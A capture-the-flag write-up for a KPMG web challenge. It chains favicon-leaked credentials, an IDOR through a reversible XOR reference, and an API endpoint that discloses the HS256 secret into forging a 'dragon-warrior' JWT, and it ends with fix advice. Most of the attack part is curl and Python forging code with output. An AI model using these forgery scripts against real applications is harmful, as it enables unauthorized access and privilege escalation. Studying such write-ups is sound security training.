The Dragon Warrior: JWT Forgery via Chained Info-Leaks

Flag: KPMG_CTF{b0IB0FXynOqsbYhEs2hmRZTISQNwpSPdz5kV7mA-e-0-}

Target: http://kicyber-42655a84d365-the-dragon-warrior-0-0.chals.io Category: Web (React SPA + FastAPI) / IDOR + secret disclosure → JWT forgery → privilege escalation Hint (from KPMG CTF): “You are Po. Master Shifu doesn’t think you’re ready… Explore the Jade Palace, earn your dragon seal, and find out what the scroll has been hiding.”

Overview

A Kung-Fu-Panda-themed React (Vite) front end talking to a FastAPI backend under /api. The flag lives at GET /api/scroll, which only opens to a player whose rank == "dragon-warrior". Rank is granted by POST /api/dragon-seal/certify, which validates a “dragon seal” (an HS256 JWT) and reads its rank claim.

Becoming the Dragon Warrior chains four bugs:

  1. Credentials hidden in a static asset: login creds for Po are in a comment inside /favicon.svg.
  2. IDOR on training files via a reversible “cipher”: GET /api/training/lesson/<ref> where ref is just username XOR-encrypted with a key the app itself leaks, so any user’s file is readable. Shifu’s file documents the seal mechanism.
  3. Signing-secret disclosure: the /api/oogway endpoint prints the JWT signing phrase.
  4. JWT forgery / privilege escalation: sign a seal with rank: dragon-warrior using that secret, certify it, and read the scroll.

Recon

1. It’s an SPA; find the other “door”

base="https://kicyber-42655a84d365-the-dragon-warrior-0-0.chals.io"
curl -s "$base/" | sed -n '1,20p'

The HTML is a Vite shell with a telling comment: “the palace has more than one door.” Pull the JS bundle and mine it for the API:

curl -s "$base/assets/index-BIpxLhGm.js" -o dragon.js
grep -oE '"/[a-zA-Z0-9_./-]*"' dragon.js | sort -u

Output (routes/endpoints): /auth/login /auth/me /auth/logout /dragon-seal/mine /dragon-seal/certify /scroll /warriors /oogway /shifu /training. The API base is Wh="/api". Beautifying the bundle shows the gate logic:

// scroll chamber only renders when:
(player?.rank) === "dragon-warrior" ? <ScrollChamber/> : <SealPrompt/>
// flag: Ae.get("/scroll").then(o => r(o.flag))
// my training ref is hardcoded:
const _s = "1a0e";  Ae.get(`/training/lesson/${encodeURIComponent(e)}`)

Everything under /api requires auth ({"detail":"The Jade Palace does not recognize you."}), and there is no register endpoint (POST to unknown paths returns 405 only because the catch-all 404 route is GET-only; OPTIONS confirms the real method map).

2. The hidden credentials

The homepage comment points “elsewhere”. The favicon carries them:

curl -s "$base/favicon.svg" | sed -n '1,15p'

Output (comment):

disciple: po
key: skadoosh1

Log in (cookie-based session):

api="$base/api"
curl -s -i -c po.txt -X POST "$api/auth/login" -H 'Content-Type: application/json' \
  --data '{"username":"po","password":"skadoosh1"}' | grep -iE 'HTTP|set-cookie'
# HTTP/1.1 200 OK
# set-cookie: JPSID=...; HttpOnly; Max-Age=43200; Path=/; SameSite=lax
curl -s -b po.txt "$api/auth/me"
# {"username":"po","rank":"trainee","name":"Po"}

The seal is a JWT

curl -s -b po.txt "$api/dragon-seal/mine"
# {"seal":"eyJhbG...<HS256 JWT>..."}
curl -s -b po.txt -X POST "$api/dragon-seal/certify" -H 'Content-Type: application/json' \
  --data "{\"seal\":\"<my trainee seal>\"}"
# {"detail":"This seal does not carry the rank the chamber requires."}

Decoded seal payload:

{"sub":"b3845902-eda0-473e-a82d-37cd7aa0c918","rank":"trainee","iat":...,"exp":...,"iss":"jade-palace"}

certify verifies the HS256 signature and checks the rank claim:

  • forged alg:none → {"detail":"The palace could not verify this seal."} (rejected)
  • so I need a seal validly signed with rank: dragon-warrior. rockyou + alg:none both fail; the secret must be found in-band.

Leak #2: IDOR training files via the “Jade Cipher”

My own training file (ref 1a0e) leaks a reversible cipher:

curl -s -b po.txt "$api/training/lesson/1a0e" | python3 -c 'import sys,json;print(json.load(sys.stdin)["notes"])'

Output includes:

def encrypt(text, key=b"jade-cipher-77"):
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(text.encode())).hex()

And encrypt("po") == 1a0e: my ref is just my username XOR’d with jade-cipher-77. So the ref is a trivially forgeable token → IDOR over every warrior’s file:

enc(){ python3 -c "k=b'jade-cipher-77';t=b'$1';print(bytes(b^k[i%len(k)] for i,b in enumerate(t)).hex())"; }
curl -s -b po.txt "$api/training/lesson/$(enc shifu)" | python3 -c 'import sys,json;print(json.load(sys.stdin)["notes"])'

Shifu’s “Dragon Warrior Certification (RESTRICTED)” file:

Candidates are authenticated through the Jade Palace Dragon Seal.
Seal algorithm: HS256.
The signing phrase is not written here... Master Oogway alone has been known to speak of it...
Required rank claim for chamber access: dragon-warrior.
It answers only at its own door -- /scroll ...

Leak #3: Oogway discloses the signing secret

curl -s -b po.txt "$api/oogway" | python3 -m json.tool

Output (last line):

"A seal is only as secret as the phrase behind it. Should such a phrase ever slip from these old
 lips, it would sound something like: 617ec1505c53dbb517fce14847b1f7bda931b0065e7215dd"

That hex string, used literally as the HMAC key (ASCII), reproduces my real seal’s signature, confirming it’s the secret:

python3 - <<'PY'
import hmac,hashlib,base64
tok=open("seal.txt").read().strip()
signing='.'.join(tok.split('.')[:2]).encode(); want=tok.split('.')[2]
k=b"617ec1505c53dbb517fce14847b1f7bda931b0065e7215dd"
sig=base64.urlsafe_b64encode(hmac.new(k,signing,hashlib.sha256).digest()).rstrip(b'=').decode()
print("MATCH" if sig==want else "no")   # -> MATCH
PY

Exploit: forge the seal (SOLVED)

SECRET="617ec1505c53dbb517fce14847b1f7bda931b0065e7215dd"
SUB="b3845902-eda0-473e-a82d-37cd7aa0c918"
FORGED=$(python3 - "$SECRET" "$SUB" <<'PY'
import sys,hmac,hashlib,base64,json,time
secret=sys.argv[1].encode(); sub=sys.argv[2]
b64=lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode()
now=int(time.time())
h=b64(json.dumps({"alg":"HS256","typ":"JWT"},separators=(',',':')).encode())
p=b64(json.dumps({"sub":sub,"rank":"dragon-warrior","iat":now,"exp":now+3600,"iss":"jade-palace"},separators=(',',':')).encode())
sig=b64(hmac.new(secret,f"{h}.{p}".encode(),hashlib.sha256).digest())
print(f"{h}.{p}.{sig}")
PY
)
curl -s -b po.txt -X POST "$api/dragon-seal/certify" -H 'Content-Type: application/json' \
  --data "{\"seal\":\"$FORGED\"}"
curl -s -b po.txt "$api/scroll"

Output:

{"message":"Master Shifu has recognized your Dragon Seal.","rank":"dragon-warrior","dragon_scroll_chamber":"open"}
{"flag":"KPMG_CTF{b0IB0FXynOqsbYhEs2hmRZTISQNwpSPdz5kV7mA-e-0-}"}

Flag: KPMG_CTF{b0IB0FXynOqsbYhEs2hmRZTISQNwpSPdz5kV7mA-e-0-}

Why it works

  • Secrets in client-reachable static files. The favicon shipped working credentials; “hidden in a comment” is not hidden.
  • Home-rolled, key-disclosed cipher as an access token. The training ref is XOR(username, "jade-cipher-77") and the key is printed in a file the user can read, so refs are forgeable and the per-user check is meaningless → IDOR to every record.
  • The signing secret is served by the API. /oogway prints the exact HS256 key; with it, any claim (including rank) can be minted.
  • certify trusts the token’s rank claim. A valid signature is the only gate, and once the secret leaks that gate is open.

Root cause & fix

  • Never ship secrets to the client: no credentials in HTML/SVG/JS; the favicon leak and the /oogway secret are both disclosure bugs. Keep signing keys server-side only.
  • Don’t use reversible, client-keyed tokens as object references. Use unguessable, server-side IDs and enforce ownership/authorization on training/lesson/<ref>; never derive access from a value the client can recompute.
  • Keep JWT signing keys high-entropy and private, and consider binding critical authorization (chamber access) to server-side state rather than a self-asserted rank claim the user can influence if the key ever leaks.
  • Pin the algorithm server-side (reject none), which this app did; the break was key disclosure, not alg confusion.

Takeaways

  • Read the “boring” static files first: /favicon.svg, bundle comments, CSS. Challenges love hiding step 1 there (“more than one door”).
  • When a file hands you a cipher/key and your own identifier decodes under it, you’ve found an IDOR primitive; forge other identifiers immediately.
  • For JWT seals: try alg:none and a rockyou crack, but also hunt for the secret in-band: here it was literally printed by an API endpoint. Verify a candidate key against a known-good token before forging.